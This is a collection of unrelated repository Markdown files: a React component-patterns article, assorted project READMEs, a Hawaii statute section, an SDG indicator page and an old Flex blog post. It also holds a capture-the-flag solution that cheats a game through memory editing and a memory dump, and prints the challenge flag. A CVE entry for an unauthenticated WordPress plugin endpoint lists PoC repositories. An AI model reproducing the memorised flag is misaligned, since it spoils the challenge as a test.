text:
---
id:<PHONE_NUMBER>35509
title: Component Driven UI Patterns Part I
published_at: 2023-02-27T13:17:31.549Z
tags: components, javascript
excerpt: Components can be really powerful to organize your user interface code into isolated reusable chunks of code that builds the core of the view layer. They are the building blocks of any web application...
slug: cdd-part-1
crosspostedOn: ''
crosspostLink: ''
---

A Component is an _identifiable and interchangeable unit_ of a program. It plays an important role not just inside user interfaces but in Software Engineering in general. Components can be highly efficient to organize your user interface code into isolated reusable chunks of code that build the core of the view layer. They are the building blocks of any web application.

In web development history, we had their first appearances in [Ember](https://guides.emberjs.com/release/components/component-arguments-and-html-attributes/) templates and [Knockout](https://knockoutjs.com/documentation/component-overview.html) components in the early stages, just like nowadays with modern frameworks such as React and Vue. They seem more mature and versatile to be constructed within many different patterns.

Component-driven-development means embracing components as the new **primitive** for the web taking advantage of a modular approach to achieve better scalability, reusability, and team-development independence.

<img-lazy src="https://firebasestorage.googleapis.com/v0/b/portfolio-d3c7c.appspot.com/o/lego.jpg?alt=media&token=d190dea4-0e5d-4196-9313-3724e36c82af" alt="orange lego piecein constrast with background of legos" width="870" height="500" style="object-position: center 30%;" fullBleed />

## The Anatomy of a Component

A component is usually build upon a combination of a template/markup, set of `props` and some `state` associated with it. Both, props and states can be used to communicate with other components and drive rendering logic to the UI.

Due to its simple anatomy, a component can be built from the ground up ,and by composing it in different ways we are capable to build joyful pieces of UI as we're going to see next. Some examples will be in React but the concept can be found in other frameworks too.

## Templating

In the very essence of components, we can think them as reusable units. The most basic form of this is by extracting parts of your existing template/html into smaller components that are going to be used in multiple places.

```jsx
function ArticleFigure() {
  return (
    <figure>
      <img src="https://picsum.photos/id/44/600/400" alt="beach in grayscale" />
    </figure>
  )
}
```

```jsx
<Article>
  <ArticleFigure />
  ...
  <ArticleFigure />
</Article>
```

In order to make our example more configurable, framework and libraries allows us to customize with props and children elements to be display the content however we want.
You can think of `children` as a special prop that serves as a _placeholder_ for any set of child elements you would need to add inside your component, similiar to a [slot](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/slot).

```jsx
function ArticleFigure({ source, alt, children }) {
  return (
    <figure>
      <img src={source} alt={alt} />
      {children}
    </figure>
  )
}

...
<ArticleFigure
  source="https://picsum.photos/id/44/600/400"
  alt="beach in grayscale"
>
  <figcaption>Photo taken by Christopher</figcaption>
</ArticleFigure>
```

## Render prop

A render prop is a prop whose value returns a JSX element. It allows the parent to take control of the child component
and decide what to render in that specific _slot_ of the template.

This pattern became popular in React libraries as a sort of _escape hatch_ to incorporate your own custom component
to replace an existing one without re-configuring with too many props.

See React Native's [FlatList](https://reactnative.dev/docs/flatlist#itemseparatorcomponent) component as an example that uses this pattern extensively. To incorporate a render prop in JSX we just need to call it as a function:

```js
const Button = ({ leftIcon }) => (
  <button>
    {leftIcon()}
    {children}
  </button>
)

<Button leftIcon={() => <Icon size={30} />}>
  Get started
</Button>
```

You can decide to expose data from the parent component itself to the rendered child as well.
Let's see how can make the icon the same color as the button:

```js{1-2}
const Button = ({ colorScheme = 'blue', leftIcon }) => (
  <button type="button">
    {leftIcon({ color: colorScheme })}
    {children}
  </button>
)

<Button
  leftIcon={color => <Icon size={30} color={color} />}
>
  Get started
</Button>
```

In JSX, everything inside [curly braces](https://beta.reactjs.org/learn/javascript-in-jsx-with-curly-braces) is essentially JavaScript code that is going to be evaluated
into a function by the framework in order to build and add the node in the Virtual DOM tree.

<img-lazy src="https://firebasestorage.googleapis.com/v0/b/portfolio-d3c7c.appspot.com/o/cdd-prop-component.png?alt=media&token=fdbf3fc4-3ade-4186-ba74-d3acffea55b4" fit="contain" bgColor="transparent" height="200" alt="A button written get started with question mark on the left" />

Cool! We just made our component more reusable by adding render props.

But be cautious! You might be tempted to replace components with render props, and one potential problem is that this pattern
might introduce complex nested render functions:

```jsx
{
  /* bad */
}
;<Page
  renderHeader={({ theme }) => (
    <Header
      height={theme.topbar}
      renderAction={
        <Button renderLeftIcon={<Icon name="hamburger" size={40} />}>
          Open menu
        </Button>
      }
    />
  )}
></Page>
```

It is both difficult to read and maintain such group of components. You need
to keep in mind that a render prop will be inserted in **specific place inside your component markup**, like on the left side of the text of a button as we've seen in the previous example. I personally don't advise to use it so often, we're going to use more patterns to compose complex components like these soon.

## Higher order component

A Higher-order component (HOC) takes a component as an argument and returns a slightly different version of it.
You can think of it as an invisible wrapper that can abstract reusable logic and pass different props or functions down to the component.

This logic can be anything from props that modify component appearance to handling conditional rendering and authorization.

```tsx
const withTextStyles = (Component) => (props) => {
  const classes = { bold: true, hover: false }
  return <Component className={clsx(classes)} {...props} />
}

const Title = () => <h1>What is JSX?</h1>
const StyledTitle = withTextStyles(Title)
```

You can also use it to compose components by wrapping the returned component. The following example shows how
you can combine an [Alert](https://chakra-ui.com/docs/components/alert/usage) with a [Popover](https://chakra-ui.com/docs/components/popover/usage) using Chakra UI:

```tsx
function withPopover(Component) {
  return function PopoverComponent(props) {
    return (
      <Popover>
        <PopoverTrigger>
          <Component {...props} />
        </PopoverTrigger>
        <PopoverContent>
          <PopoverArrow />
          <PopoverCloseButton />
          <PopoverBody>{children}</PopoverBody>
        </PopoverContent>
      </Popover>
    )
  }
}

const AlertWithPopover = withPopover(Alert)
```

Although HOCs are a very interesting pattern, we've been seeing it more often being replaced
with React [Custom Hooks](https://blog.codeminer42.com/scalable-frontend-4-custom-hooks-to-the-rescue/) for better logic reusability moved out of the view as now it only needs to care about what to render to the UI as opposed to have multiple HOCs with hard logic nested in the Virtual DOM.

In libraries that implement this pattern such as [react-redux](https://react-redux.js.org/api/connect), we can still use `connect()` as HOC when setting up the store, but it is advised to use hooks instead.

## Compound components

Suppose we're creating a custom `dropdown` with the following markup in mind:

```jsx
<Dropdown.Root>
  <Dropdown.Trigger />

  <Dropdown.Content>
    <Dropdown.Item />
    ...
  </Dropdown.Content>
</Dropdown.Root>
```

When building this kind of component there are some things to consider:

<CustomList marker="'📝'">

- How to toggle the dropdown content by a trigger(button) or click outside.
- Focus management between the content and the trigger.
- Accessibility, e.g. managing aria attributes when toggled on or off.
- Keyboard interaction inside the content.

</CustomList>

These are just some essential requirements we need to meet to create a functional and accessible dropdown component. As you might
notice each _sub component_ that exists in our dropdown needs some sort of relationship between each other and the root.

_Compound components_ create a relationship between a group of components by managing and providing state and logic.
The way this works is by injecting the state with a `DropdownContext` provider wrapped around its children with the necessary actions and behaviors:

```tsx
const DropdownContext = React.createContext()

function Dropdown({ children }) {
  const [open, setOpen] = useState(false)
  const toggle = () => setOpen((prevOpen) => !prevOpen)

  return (
    <DropdownContext.Provider value={{ open, toggle }}>
      {children}
    </DropdownContext.Provider>
  )
}
```

In order to subscribe to the `DropdownContext` context every component must be a child of the root
dropdown component to consume its state.
The following example uses this context to toggle the dropdown visible and its accessible state.

```tsx
function Trigger(props) {
  const { open, toggle } = useContext(DropdownContext)
  return (
    <button type="button" aria-expanded={open} onClick={() => toggle()}>
      {props.children}
    </button>
  )
}
```

Next, we create a basic content component for our dropdown that
exits when you hit the escape key, like so:

```tsx
function Content(props) {
  const { open, toggle } = useContext(DropdownContext)
  return (
    open && (
      <div
        role="menu"
        onKeyDown={(e) => (e.code === 'Escape' ? toggle() : null)}
      >
        {props.children}
      </div>
    )
  )
}
```

<img-lazy src="https://firebasestorage.googleapis.com/v0/b/portfolio-d3c7c.appspot.com/o/cdd-compound-component.png?alt=media&token=9fe6e886-5b7c-4616-9df6-9f1caac46c35" fit="contain" bgColor="transparent" height="450" alt="File dropdown diagram" />

Compound components are a good solution to handle **multiple components** that depend on the same state
and behaviors to allow them to work as a **single unit**, in other words, components that are meant to work together.
This gives us a better separation of concerns between what rendering logic each child needs and what internal state they can access from the parent.

## Controlled and Uncontrolled components

Aside from rendering and composing patterns we often see components being _controlled_ in different manners.
Components that are usually **driven by props** rather than their own local state are **controlled**.

For instance, we can dictate the value and the action behavior of an input element by using the framework state mechanism, as in React:

```jsx
const [value, setValue] = useState('React')
<input type="text" value={value} onChange={handleChange} />
```

On the other hand, while every framework gives its own abstraction and control over the component, we can still access the direct element state as a plain DOM element.

This is so called a **uncontrolled component** where the source of truth is actually within its own state, the DOM manipulates where the value is or what the event or action does internally. They are usually accessed via a `ref` that can access the underlying DOM element:

```jsx
const inputRef = useRef(null)
<input type="text" value="Components!" ref={inputRef} />

inputRef.current.value // 'Components!'
```

<img-lazy src="https://firebasestorage.googleapis.com/v0/b/portfolio-d3c7c.appspot.com/o/cdd-controlled.png?alt=media&token=55ff149d-c18a-4463-acea-914ce5be1c00" fit="contain" bgColor="transparent" height="450" alt="Controlled vs Uncontrolled components" />

Refs allow us to keep track of the element's current status as it can also be modified by external sources, but also programmatically focus a form element or mount a 3rd party-library for that element. This can be done by **forwarding ref** to child components as in [React](https://beta.reactjs.org/reference/react/forwardRef) or [Vue](https://vuejs.org/guide/essentials/template-refs.html).

It is important to notice that they don't compete with each other, you can use one pattern over the other or use both, moreover than not most components are going to be controlled and somewhat uncontrolled.

## What's next?

As lego makers invest their time to craft the most solid and well-crafted piesces to the their consumers, component artisans can do as well. We can assemble and compose components in very different ways, these was just a small part of it.
We're going to explore more in the next post with dynamic components, recursive components, render functions and more about component-driven design.

Stay tuned!

repository: jeferson-sb/portfolio

gha_language: Vue

repo_name: jeferson-sb/portfolio


text:
# NeighConsensus
NCNet Re-implementation on **Pytorch 1.0 + Python3.6** (Original implementation : https://github.com/ignacio-rocco/ncnet)
For more information check out their project [website](https://www.di.ens.fr/willow/research/ncnet/) and their paper on [arXiv](https://arxiv.org/abs/1810.10510).

## Table of Content
* [Installation](#installation)
* [Functions Quick Search](https://github.com/XiSHEN0220/NeighConsensus/blob/master/model/README.md)
* [Train](#train)

## Installation

To download Pre-trained feature extractor (ResNet 18 ):

``` Bash
cd model/FeatureExtractor
bash download.sh
```

To download PF Pascal Dataset :

``` Bash
cd data/pf-pascal/
bash download.sh
```

### Functions Quick Search

For important functions, we provide a quick search [here](https://github.com/XiSHEN0220/NeighConsensus/blob/master/model/README.md)

### Train

To train on PF-Pascal :
``` Bash
bash demo_train.sh
```

license: MIT

repository: oumayb/NeighConsensus

branch_name: refs/heads/master

extension: md

gha_license_id: MIT

license_type: permissive

repo_name: oumayb/NeighConsensus


text:
---
hrs_structure:
  division: '1'
  volume: '1'
  title: '1'
  chapter: 10H
  section: 10H-4
type: hrs_section
tags:
  - Government
menu:
  hrs:
    identifier: HRS_0010H-0004
    parent: HRS0010H
    name: 10H-4 Notice of qualified Native Hawaiian roll
weight: 19020
title: Notice of qualified Native Hawaiian roll
full_title: 10H-4 Notice of qualified Native Hawaiian roll
---
**§10H-4 Notice of qualified Native Hawaiian roll.** (a) The commission shall publish notice of the certification of the qualified Native Hawaiian roll, update the roll as necessary, and publish notice of the updated roll of qualified Native Hawaiians; provided that the commission shall not publish or release any verification documents of any qualified Native Hawaiian on the roll.

(b) The publication of the initial and updated rolls shall serve as the basis for the eligibility of qualified Native Hawaiians whose names are listed on the rolls to participate in the organization of the Native Hawaiian governing entity. [L 2011, c 195, pt of §2; am L 2012, c 84, §2]

repository: SamMade/BlueAndKrabby

repo_name: SamMade/BlueAndKrabby


text:
# docker-ansible

Minimal [Alpine Linux](https://alpinelinux.org/) docker image for running [Ansible](https://www.ansible.com/) using only Python3.

## Build Image

### Build from git repository

### Pull from Docker Hub

```
$ docker pull anial/docker-ansible:latest
```

Docker Hub images will be tagged as `anial/docker-ansible:latest` and/or with git tags.

## Run container

Run a playbook inside the container:

```
```

repository: anial-pro/docker-ansible

repo_name: anial-pro/docker-ansible


text:
# Leetcode With Hard Difficulty
Question List

| |Name|Difficulty| JavaScript |
|---|:----|:----|:---:
025|[Reverse Nodes In K Group](https://leetcode.com/problems/reverse-nodes-in-k-group/description/)|Hard|[:heavy_check_mark: Done](https://github.com/lon-yang/leetcode/blob/master/Hard/025_Reverse%20Nodes%20in%20k-Group.js)
315|[Count Of Smaller Numbers After Self](https://leetcode.com/problems/count-of-smaller-numbers-after-self/description/)|Hard|[:heavy_check_mark: Done](https://github.com/lon-yang/leetcode/blob/master/Hard/315_Count%20of%20Smaller%20Numbers%20After%20Self.js)

repository: instance-oom/leetcode

repo_name: instance-oom/leetcode


text:
---
title: >-
  Proportion of persons victim of physical or sexual harassment, by sex, age,
  disability status and place of occurrence, in the previous 12 months
permalink: /11-7-2/
sdg_goal: 11
layout: indicator
indicator: 11.7.2
indicator_variable: null
graph: null
graph_type_description: null
graph_status_notes: checking
variable_description: null
variable_notes: null
un_designated_tier: '3'
un_custodial_agency: 'UNOCD (Partnering Agencies: UN Women, UN Habitat)'
target_id: '11.7'
has_metadata: true
rationale_interpretation: >-
  Sexual harassment is a violation of women's human rights and a prohibited form
  of violence against women in many countries.[4] Sexually harassing conduct
  causes devastating physical and psychological injuries to a large percentage
  of women in workplaces around the world. In urban and rural areas, developed
  or developing countries, women and girls are constantly subjected to these
  forms of violence on streets, on public transport, in shopping centres and in
  public parks, in and around schools and workplaces, in public sanitation
  facilities and water and food distribution sites, or in their own
  neighborhoods. Such harassment reinforces the subordination of women to men in
  society, violates women's dignity and creates a health and safety hazard in
  public spaces.

  If women and girls are to enjoy a life free from violence, policymakers need
  to ensure that public spaces are free from any form of violence, including
  sexual harassment.
goal_meta_link: 'http://unstats.un.org/sdgs/files/metadata-compilation/Metadata-Goal-11.pdf'
goal_meta_link_page: 26
indicator_name: >-
  Proportion of persons victim of physical or sexual harassment, by sex, age,
  disability status and place of occurrence, in the previous 12 months
target: >-
  By 2030, provide universal access to safe, inclusive and accessible, green and
  public spaces, in particular for women and children, older persons and persons
  with disabilities.
indicator_definition: >-
  Number of girls and women aged 15+ who were subjected to physical or sexual
  harassment in the last 12 months, as percentage of all women aged 15+,
  disaggregated by perpetrator and place of occurrence (of latest episode). Many
  international bodies, national legislatures and courts have prohibited sexual
  harassment but there is no agreed universal definition of the term.[1] Most
  existing studies about sexual harassment are focused on working life or
  educational environments and measure unwelcome and unwanted sexual acts.[1,2]
  Because of the lack of universal definition, data for this indicator are not
  comparable. Currently, comparable data exist only for the 28 European Union
  countries (see below for more details on existing measures).
source_title: null
source_notes: null
published: true
---

repository: MSBMJM/sdg-indicators

branch_name: refs/heads/gh-pages

gha_language: CSS

repo_name: MSBMJM/sdg-indicators


text:
# Scoville: The escaping overlay file system

Scoville is a [FUSE] overlay file system which works around the limited
character set allowed in FAT file names.  FAT does not permit non-printable
characters in file names, nor does it allow the characters ‘*’, ‘?’, ‘<’, ‘>’,
‘|’, ‘"’, ‘:’, or ‘\\’.  Many applications support applying a file name
translation map when placing files on FAT-formatted volumes; however, some –
notably [git-annex](https://git-annex.branchable.com/) – do not.  For those
applications, Scoville may be the only way to work around some very unpleasant
ad-hoc schemes.

Usage is trivial: Run Scoville on an existing mounted file system.  For example,
if you have a FAT-formatted SD card mounted on /media/sd, you can run `scoville
/media/sd`.  When you’re done, unmount it with `fusermount -u`.  While mounted,
Scoville will translate all forbidden characters to their URL-escaped versions.
For example, a file called ‘What Else Is There?.flac’ will be stored on disk as
‘What Else Is There%3f.flac’.

Beyond escaping, Scoville is exactly as capable as the file system it overlays.
If you want long file names, use vfat; if you want POSIX permissions, use
umsdos.  (On the other hand, if you use umsdos, you don’t need to use Scoville,
since umsdos provides Scoville’s special character handling, albeit using a
different scheme.)

[FUSE]: https://github.com/libfuse/libfuse

## License

Scoville is licensed under the [Apache License, version 2.0][Apache-2].

[Apache-2]: https://www.apache.org/licenses/LICENSE-2.0

repository: bbarenblat/scoville

repo_name: bbarenblat/scoville


text:
## SQLite3 vault

The sqlite3 package is supported through the built-in "sqlite3" vault type.
This vault should really only be used for development and testing. Be forwarned.
Further documenation can be found at [node-sqlite3](https://github.com/mapbox/node-sqlite3).
To avoid confusion, the npm package name is sqlite3, but the project is called node-sqlite3.

### Configuration

#### URL based config
```yaml
		sqlite3:
			type: sqlite3
			config:
				filename: "./sqlitevault/awesomegame.db"
```

Filename takes both absolute and relative (to project root) references.
If no filename is provided, an in memory db will be created that will be destroyed on close.
If an empty string is provided, an temporary db stored on disk will be created and destroyed on close.

### Supported operations

operation | supported | implementation
----------|:---------:|---------------
list      | ✔         | `SELECT FROM table WHERE partialIndex`
get       | ✔         | `SELECT FROM table WHERE fullIndex`
add       | ✔         | `INSERT INTO table () VALUES ()`
set       | ✔         | `INSERT OR REPLACE INTO table () VALUES ()`
touch     |           |
del       | ✔         | `DELETE FROM table WHERE fullIndex`

### Required Topic API

signature                  | required | default implementation
---------------------------|----------|-----------------------
`createKey(topic, index)`  |          | `{ table: topic, pk: index }`
`parseKey(key)`       |          | `{ topic: key.table, index: key.pk }`
`serialize(value)`         |          | `{ value: utf8orBufferFromValue, mediaType: value.mediaType }`
`deserialize(data, value)` |          | parses row.value and row.mediaType into Value

### Bootstrapping a database

This is supported through the `./game archivist-create` CLI command. This will create your empty
database. Tables must be created through migration scripts. Running `./game archivist-drop` will
drop the entire database.

### Schema migrations

Archivist allows for [schema migrations](../../SchemaMigrations.md), and the SQLite vault supports
this.

### How to set up your SQLite tables

Queries against your database are done through a combination of the generated keys and serialized
values. A generated key must yield a table name and a primary key. A serialized value must yield a
number of column names with their respective values.

The default topic API that comes with this vault behaves as can seen in the table above. This means
that for example, given a topic `people` and index `{ personId: 1 }`, the following table should
exist:

```sql
CREATE TABLE people (
  personId INT UNSIGNED NOT NULL,
  value TEXT NOT NULL,
  mediaType VARCHAR(255) NOT NULL,
  PRIMARY KEY (personId)
);
```

If you want to change how this information is stored, by adding columns, etc, you can overload the
serializer method to do so. For example, consider the following example if you want to add a
timestamp to a `lastChanged INT UNSIGNED NOT NULL` column.

```javascript
exports.people.vaults.sqlite3.serialize = function (value) {
	return {
		value: value.setEncoding(['utf8', 'buffer']).data,
		mediaType: value.mediaType,
		lastChanged: parseInt(Date.now() / 1000)
	};
};
```

repository: arnaudchenyensu/mage

repo_name: arnaudchenyensu/mage


text:
# Impossible Boss Battle

## How to Run

1. Run preInstal.sh this installs 32 bit libraries that the game needs
1.once it is complete the game will run automatically and should also be fully installed with a icon to re-run

## How to Solve

1. Start the game and run to hide behind a wall
1. Open gameconqueror and attach to the game
1. Scan for a number equal to your current health and set the Data Type to "Number"
1. One of the values found will be your health, this may take some playing of the game to get a very small list of values. Once you have the value lock it and set it to 100.
1. Play the game and beat the boss now that you are invincible.
1. Once you have beat the game, dump the memory for the process using `gcore -o memory <pid>`
1. Run `strings memory.* | grep <beginning of key>` where <beginning of key> is the part of the key you can see on your screen.
1. Wrap the full key in `MCA{}`

# Flag

MCA{ed3df47e943c1c37c1099bd67e7a2477}

repository: SamFeig/CTFHero

gha_language: C

repo_name: SamFeig/CTFHero


text:
# What ?

This is a vCard parser/generator released under te MIT license

# Support
For now only v3.0 is supported and the testing was done mostly with Apple
Addressbook and iOS contacts.

# Continuous integration ([![Build Status](https://secure.travis-ci.org/schmurfy/vcard_parser.png)](https://secure.travis-ci.org/schmurfy/vcard_parser.png))

This gem is tested against these ruby by travis-ci.org:

- mri 1.9.3

# Usage

```ruby
require 'vcard_parser'

vcard = File.read('specs/data/vcard3.0.vcf')
cards = VCardParser::VCard.parse(vcard)

puts cards[0].fields
puts cards[0]['N']

# dump back the vcard
puts cards[0].to_s
```

# Setting up development environmeent

```bash
# clone the repository and:
$ bundle
$ bundle exec guard
```

gha_language: Ruby


text:
# Emosd example

## Install

Install snowpack:

```
yarn global add snowpack
```

Clone the projet and cd in the project directory then:

```
yarn install
```

## Run

```
yarn serve
```

The app is available at localhost:8080

repository: synw/emosd

branch_name: refs/heads/main

repo_name: synw/emosd


text:
### [CVE-2022-1598](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1598)
![](https://img.shields.io/static/v1?label=Product&message=WPQA%20Builder&color=blue)
![](https://img.shields.io/static/v1?label=Version&message=0%3C%205.5%20&color=brighgreen)
![](https://img.shields.io/static/v1?label=Vulnerability&message=CWE-306%20Missing%20Authentication%20for%20Critical%20Function&color=brighgreen)

### Description

The WPQA Builder WordPress plugin before 5.5 which is a companion to the Discy and Himer , lacks authentication in a REST API endpoint, allowing unauthenticated users to discover private questions sent between users on the site.

### POC

#### Reference
No PoCs from references.

#### Github
- https://github.com/20142995/Goby
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/SYRTI/POC_to_review
- https://github.com/V35HR4J/CVE-2022-1598
- https://github.com/WhooAmii/POC_to_review
- https://github.com/Z0fhack/Goby_POC
- https://github.com/manas3c/CVE-POC
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/trhacknon/Pocingit

repository: trickest/cve

gha_language: HTML

repo_name: trickest/cve


text:
---
layout: "thunder"
page_title: "thunder: thunder_hostname"
sidebar_current: "docs-thunder-resource-hostname"
description: |-
	Provides details about thunder hostname resource for A10
---

# thunder\_hostname

`thunder_hostname` Provides details about thunder hostname
## Example Usage

```hcl
provider "thunder" {
    address  = "${var.address}"
    username = "${var.username}"
    password = "${var.password}"
}

resource "thunder_hostname" "test_hostname"{

    value = "my_hostname"
}
```

## Argument Reference

* `uuid` - uuid of the object
* `value` - This System’s Network Name

repository: DanielAtella/terraform-provider-thunder

extension: markdown

repo_name: DanielAtella/terraform-provider-thunder


text:
# ember-cli-unslider
[![Build Status](https://travis-ci.org/jamiechong/ember-cli-unslider.svg?branch=master)](https://travis-ci.org/jamiechong/ember-cli-unslider)
[![Ember Observer Score](https://emberobserver.com/badges/ember-cli-unslider.svg)](https://emberobserver.com/addons/ember-cli-unslider)

An Ember component wrapper for the jQuery Unslider plugin.

## Description

This addon provides the `{{un-slider}}` component, which uses [Unslider](http://unslider.com/). It comes with built in touch/swipe support and lets you fully customize the design of your slider.

See the [simple demo](http://jamiechong.github.io/ember-cli-unslider/).

## Installation

`ember install ember-cli-unslider`

## Usage

The `un-slider` component expects an array of slides. Within its block you must define the HTML content used for each slide.

```
{{#un-slider slides=model as |slide|}}
<img src="{{slide.url}}"/>
{{/un-slider}}
```

In the above example, `model` could look like this:

```
[
  { url: 'https://placeholdit.imgix.net/~text?txtsize=33&txt=slide 1&w=600&h=400' },
  { url: 'https://placeholdit.imgix.net/~text?txtsize=33&txt=slide 2&w=600&h=400' },
  { url: 'https://placeholdit.imgix.net/~text?txtsize=33&txt=slide 3&w=600&h=400' }
];
```

The component accepts the same params that the unslider plugin uses. See the [unslider docs](http://unslider.com/) for a more detailed description of each param. The defaults are listed below:

```
autoplay: false
speed: 400
delay: 300
index: 'first'
keys: true
nav: true
arrows: true
animation: 'horizontal'
animateHeight: false
activeClass: 'unslider-active'
infinite: true
```

An example using more params:

```
{{#un-slider slides=model nav=false arrows=false speed=200 keys=false as |slide|}}
    <img src="{{slide.image}}" alt="{{slide.alt}}">
{{/un-slider}}

```

## Support

This addon has been minimally tested with all of unslider's possible param combinations. If you find an issue, please report it on GitHub.

repository: NullVoxPopuli/ember-cli-unslider

repo_name: NullVoxPopuli/ember-cli-unslider


text:
[![Build Status](https://sebastianschoof.visualstudio.com/SimpleMvvm/_apis/build/status/SimpleMvvm-CI?branchName=master)](https://sebastianschoof.visualstudio.com/SimpleMvvm/_build/latest?definitionId=1?branchName=master)
# Simple-XF-mvvm
Simple-XF-mvvm is, as the name states, a simple mvvm framework for Xamarin.Forms.
The project depends on Xamarin.Forms so it can only be used with Xamarin.Forms.
## Getting started
The project contains the class **ViewModelBase** that can be used as a base class
for your viewmodels. **ViewModelBase** contains methods to notify property changes,
to do navigation, respond on navigation events.
### Navigation
To be able to respond on navigation events and use navigation, certain actions need to be taken.

In the **App.xaml.cs** class of your shared project, you have to configure to which pages you can navigate to
using the Navigator class.
```
public App()
{
	InitializeComponent();

	Pi.Xf.SimpleMvvm.Navigator.Instance.Configure(nameof(MainPage),typeof(MainPage));
	Pi.Xf.SimpleMvvm.Navigator.Instance.Configure(nameof(Page1),typeof(Page1));
	Pi.Xf.SimpleMvvm.Navigator.Instance.Configure(nameof(Page2),typeof(Page2));

	...
}
```
The name you specify, is the name you have to use when you want to navigate to that page from within your viewmodel.
#### Navigating
**ViewModelBase** has 2 methods to navigate:
* NavigateTo
* NavigateBack

**NavigateTo** is used to navigate to a page. You pass in the pagename,you configured with the navigator, as argument.
You can also pass in an object you want to use in the navigated page's viewmodel.

**NavigateBack** is used to navigate to the previous page. Here you can also pass back an object as argument.

### Navigating notification

To receive notification of navigation, you have to use the **PiNavigationPage**. This navigationpage inherits from the
Xamarin.Forms navigation and has handlers on the Pushed and Popped event.

```
public App()
{
	InitializeComponent();

	...

	MainPage = new Pi.Xf.SimpleMvvm.NavigationPage(new MainPage());
}
```

**ViewModelBase** has 3 overridable methods that gets called when a page is pushed on or popped off the navigationstack

* **OnNavigatedFrom(object param)**: Gets called on the page's viewmodel that's been pushed on the stack.
The argument is the object you pass when calling **NavigateTo**.
* **OnNavigatedTo()**: Gets called on the page's viewmodel that initiated the navigation to another page.
* **OnNavigatedBack(object param)**: gets called on the page's viewmodel that has been popped.
The argument is the object you pass when calling **NavigateBack**.

### Property Changed Notification
**ViewModelBase** inherits from **ObservableObject** which has a method **`Set<T>()`**. This method is used to notify propertychanges on your bindable properties
in the viewmodel.

**ObservableObject** can be inherited if you want to notify property changes without having to implement INotifyPropertyChanged yourself.

e.g.
```
private string _title;
public string Title
{
	get{return _title;}
	set{Set(ref _title,value);}
}
```
**Set()** will check if the equality between the old and new value. If they are not the same, the old value gets
overriden with the new value and the PropertyChangedEvent is called.

The **[CalledMemberName]** attribute is used in **Set()** to retrieve the name of the property who's value has changed.

repository: puppetSpace/Simple-XF-mvvm

repo_name: puppetSpace/Simple-XF-mvvm


text:
---
title: 'Yet another post about Astro'
url: 'https://custardbelly.com/blog/2008/05/15/yet-another-post-about-astro/'
author:
  name: 'todd anderson'
date: '2008-05-15'
---

If you read MXNA, you probably have stopped checking quite some time ago because every post is about [Astro](http://labs.adobe.com/technologies/flashplayer10/)…
but if you are interested in another way to set up your projects in FlexBuilder to target FP10 without having to muck about with files in the frameworks folder of your _original_ Flex3 SDK installation this post may shed some light.

I am a workspace fanatic when it comes to development. I like things tidy, and when i start a new client project or go into some new exploration that involves multiple projects, i create a new workspace. The great thing about workspaces for me, aside from keeping things neat in my head, is that each new project you create in that workspace inherits from any default settings. So [when the big news hit](http://blogs.zdnet.com/Stewart/?p=841) and i wanted to check out the latest SDK, i created a new workspace and followed _most_ of the [excellent directions already available on the adobe open source site](http://opensource.adobe.com/wiki/display/flexsdk/Targeting+Flash+Player+10+Beta+with+Flex+SDK+3.0.x). I only strayed a little in how i went about setting my workspace up so that every new project i created in it was *almost* set for development targeted at FP10 without having to run through the process each time.

The following is the process i took to only mess with the files from the nightly build and set defaults for a single workspace in order to play around with the current features available in Astro:
**
1**. Download Flash Player 10 codenamed Astro.
**2**. Download the nightly build and unzip to some directory. (for me that is /Applications/flex_sdk_<IP_ADDRESS>8
**3**. Open FlexBuilder or Eclipse (if you have the plugin) and create a new workspace. (ie. ~/Documents/workspace/astro).
**4**. Create a new project.
**5**. Navigate to Project>Properties
**6**. Select the Flex Compiler option
**7**. Under Flex SDK version, click Configure Flex SDKs…
**8**. In the Preferences (Filtered) window, select Add
**9.** Navigate to the installation of your nightly build. (ie. /Applications/flex_sdk_<IP_ADDRESS>8)
**10**. Add a new name for the SDK… you should see something like so:

![Flex Builder Astro set up](https://custardbelly.com/blog/images/astro.jpg)””””””””””””””””””””””””””””””””””””””””””””””””””””””’

**11**. Click OK, Then tick the checkbox next to the newly added sdk in the Installed Flex SDKs window.
**12**. Click Apply, then OK.
**13**. Then back in the Project Properties folder, under Use a specific SDK, if the newly added SDK isn’t selected, select it.
**14**. Under the Required Flash Player Version, change the value to 10.0.0
**15**. In the Project Properties window on the left side, select Flex Build Path> Library Path.
**16**. Expand the SDK you just set as default, and select the playerglobal.swc and Remove it.
**17**. Click Add SWC, and navigate to the player 10 swc from your nightly build SDK installation (ie. /Applications/flex_sdk_<IP_ADDRESS>8/frameworks/libs/player/10/playerglobal.swc)
**18**. Click Apply, then OK.
**19**. Open up the flex-config.xml file from the Astro SDK installation and update the settings [as described in the first part of the Command-line Compiler instructions from here](http://opensource.adobe.com/wiki/display/flexsdk/Targeting+Flash+Player+10+Beta+with+Flex+SDK+3.0.x).

Thats it! Only 19 steps… that seems like a lot. In any case, in ensures that any project you now build under that workspace will default to using the targeted SDK. You will still have to manually change the Required Flash Version (from step 14) before you compile a new project, but other than that when you want to tinker with the nightly build – and not mess with your stable Flex 3 SDK release that other projects in other workspaces are targeting – just hop over to that workspace.
**
Good reading**:
Ryan Stewart – [Flash Player 10 codename “Astro” goes beta](http://blogs.zdnet.com/Stewart/?p=841)
Tinic Uro – [Adobe Is Making Noise series](http://www.kaourantin.net/)
Keith Peters – [Astro Dynamic Sound!](http://www.bit-101.com/blog/?p=1264)
Josh Tynjala – [Gratuitous Text Effects](http://www.zeuslabs.us/2008/05/15/gratuitous-text-effects-courtesy-of-flash-player-10/)

Posted in [AS3](https://custardbelly.com/blog/category/as3/), [Astro](https://custardbelly.com/blog/category/astro/), [Flash](https://custardbelly.com/blog/category/flash/), [Flex](https://custardbelly.com/blog/category/flex/).

repository: bustardcelly/blog-to-markdown

repo_name: bustardcelly/blog-to-markdown


text:
# Chewbacca - Github Bot

`Chewbacca` born to help us at Mattermost when need to interact with GitHub.
The name `Chewbacca` was choosen because Chewbacca in Star Wars movies help everybody and this bot will help us :-)

`Chewbacca` is helping today to check and set labels related to release notes. The code was fork from some plugins from https://github.com/kubernetes/test-infra/tree/master/prow which is an awesome Bot for Kubernetes community.

### Installation

To install you can deploy the manifests in the `kubernetes` folder.
But before that please change the secret manifest to add your own secrets and also the ingress manifest to add your own domain.

